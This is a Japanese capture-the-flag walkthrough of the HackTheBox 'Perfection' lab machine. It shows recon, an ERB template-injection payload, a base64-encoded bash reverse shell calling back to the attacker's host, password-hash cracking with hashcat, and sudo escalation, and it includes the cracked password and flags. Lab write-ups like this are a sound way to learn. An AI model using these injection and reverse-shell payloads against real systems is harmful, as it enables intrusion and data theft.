【HackTheBox】Perfection：Writeup

# 概要

HackTheBox「Perfection」マシンのWriteupです。

https://app.hackthebox.com/machines/Perfection

# User Flag

```
$ nmap -Pn -sV -T4 -A -sC 10.10.11.253                    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-17 22:07 EDT
Warning: 10.10.11.253 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.11.253
Host is up (0.26s latency).
Not shown: 976 closed tcp ports (conn-refused)
PORT      STATE    SERVICE        VERSION
22/tcp    open     ssh            OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_  256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp    open     http           nginx
|_http-title: Weighted Grade Calculator
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.9p1|
|80|http|nginx|

ホームページにアクセスできました。

![web home page.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/427bb73d-e8e7-b14d-27ba-b336aa61f042.png)

`/weighted-grade`ページには入力フォームがあります。

![form.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/99bb52b3-d43d-5320-730f-08ec2da1ce12.png)

フッターから`WEBrick 1.7.0`を使用していると分かります。
GitHubのページが見つかり、言語はRubyだと分かりました。

https://github.com/ruby/webrick

ディレクトリの列挙を行いましたが、攻撃に使えそうなパスは見つかりませんでした。

```
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.11.253/FUZZ
about                   [Status: 200, Size: 3827, Words: 484, Lines: 104, Duration: 283ms]
\                       [Status: 200, Size: 3842, Words: 473, Lines: 102, Duration: 290ms]
```

`WEBrick 1.7.0`での脆弱性情報は見つけられませんでした。

Webサイトのフォームの挙動を確認します。
正常にリクエストが処理されると`Category`パラメータの値などが表示されると分かりました。

![form success.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/531d2bc4-e1a1-9995-49a6-552bb30d1548.png)

なのでXSSやSSTIの攻撃が出来そうです。
しかし、レスポンスヘッダを見ると`X-Xss-Protection: 1; mode=block`があるのでXSSは難しそうです。

![xss protection.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/014aeb3f-6e6a-d0ea-1639-db829889787f.png)

SSTIの攻撃を試みます。
HackTricksなどでRubyのSSTIペイロードを見つけました。

https://book.hacktricks.xyz/v/jp/pentesting-web/ssti-server-side-template-injection#erb-ruby

パラメータの値に改行コードを付け加えることでSSTIを成功させることが出来ました。

```
category1=a%0A<%25%3D7*7;%25>
```

![ssti success.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a41d4dfb-0cf8-f966-ce0b-841d48dee7da.png)

下記のようなペイロードにすることで`/home/susan/user.txt`ファイルからフラグを入手できました。

```
a%0A<%25%3D`cat+/home/susan/user.txt`%25>
```

![user flag.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d1879480-3b5b-07f8-228d-dbd03336d59d.png)

# Root Flag

Rubyでは`system()`関数を利用してOSコマンドを実行できます。
リバースシェルを実行します。
Netcatでリッスンします。

```
$ nc -lnvp 1234
```

Bash TCPのペイロードを使用します。

```
bash -i >& /dev/tcp/<ip>/<port> 0>&1
```

https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#tools

ペイロードをbase64でエンコードします。

```
$ echo -n "bash -i >& /dev/tcp/10.10.14.11/1234 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0IDA+JjE=
```

エンコードされた文字列をURLエンコードします。

```
$ hURL -U "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0IDA+JjE="

Original    :: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0IDA+JjE=
URL ENcoded :: YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0IDA%2BJjE%3D
```

最終的なペイロードは下記のようになりました。

```
a%0A<%25%3Dsystem("echo+YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0IDA%2BJjE%3D|base64+-d|bash");%25>
```

これでリクエストを送信すると`susan`のシェルを獲得できました。

```
$ nc -lnvp 1234   
listening on [any] 1234 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.253] 55502
bash: cannot set terminal process group (1010): Inappropriate ioctl for device
bash: no job control in this shell
susan@perfection:~/ruby_app$ whoami
whoami
susan
```

`sudo -l`は実行できませんでした。

```
$ sudo -l
sudo -l
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
sudo: a password is required
```

`/home/susan/Migration`にDBデータを発見しました。

```
$ ls -l Migration/
ls -l Migration/
total 8
-rw-r--r-- 1 root root 8192 May 14  2023 pupilpath_credentials.db
```

ローカルにダウンロードして見ると、ユーザーのクレデンシャル情報を確認できましたが、パスワードはハッシュ化されているようです。

![db data.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/33275342-9b62-a0c6-8dfb-e962633fd264.png)

Webサイトを見ると`susan`がシステム管理者であるという文言を発見しました。

![about.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/452e9f18-6cbb-6e64-bef9-40672d84b520.png)

なので、DBデータの`Susan Miller`のハッシュ値を解読していきます。
`linpeas`を実行すると`/var/mail/susan`という興味深いファイルを見つけました。

```
╔══════════╣ Mails (limit 50)
    39937      4 -rw-r-----   1 root     susan         625 May 14  2023 /var/mail/susan                              
    39937      4 -rw-r-----   1 root     susan         625 May 14  2023 /var/spool/mail/susan
```

テキストの内容は「パスワードの形式を`{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}`に変更した」ということが書かれています。

つまり元のパスワードの文字列は`susan_nasus_<1~1,000,000,000>`まで分かりました。

```
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students

in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:

{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be convered into lowercase.

Please hit me with updates on the migration when you can. I am currently registering our university with the platform.

- Tina, your delightful student
```

`Hash Analyzer`で調べるとハッシュアルゴリズムは`SHA2-256`だと予測できました。

![hash analyzer.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b69319f4-4f26-c9b7-e909-6fb6b26566c9.png)

これまでの情報を基にハッシュ値をHashcatで解析します。
パスワードのランダムな数字は`1~1~1,000,000,000`だと分かっているのでHashcatのマスク攻撃として`-a 3 susan_nasus_?d?d?d?d?d?d?d?d?d`と指定できます。

```
$ hashcat -m 1400 hash.txt -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d
```

パスワードを特定できました。

```
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210
```

このパスワードを使用してSSH接続を行います。

```
$ ssh susan@10.10.11.253
susan@perfection:~$
```

`sudo -l`で確認すると全てのコマンドをパスワードなしの管理者権限で実行できると分かりました。

```
$ sudo -l
[sudo] password for susan: 
Matching Defaults entries for susan on perfection:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User susan may run the following commands on perfection:
    (ALL : ALL) ALL
```

最後に`/root/root.txt`からフラグを入手します。

```
$ sudo cat /root/root.txt
7bb006019d51b6480b4fa5fa1534ae38
```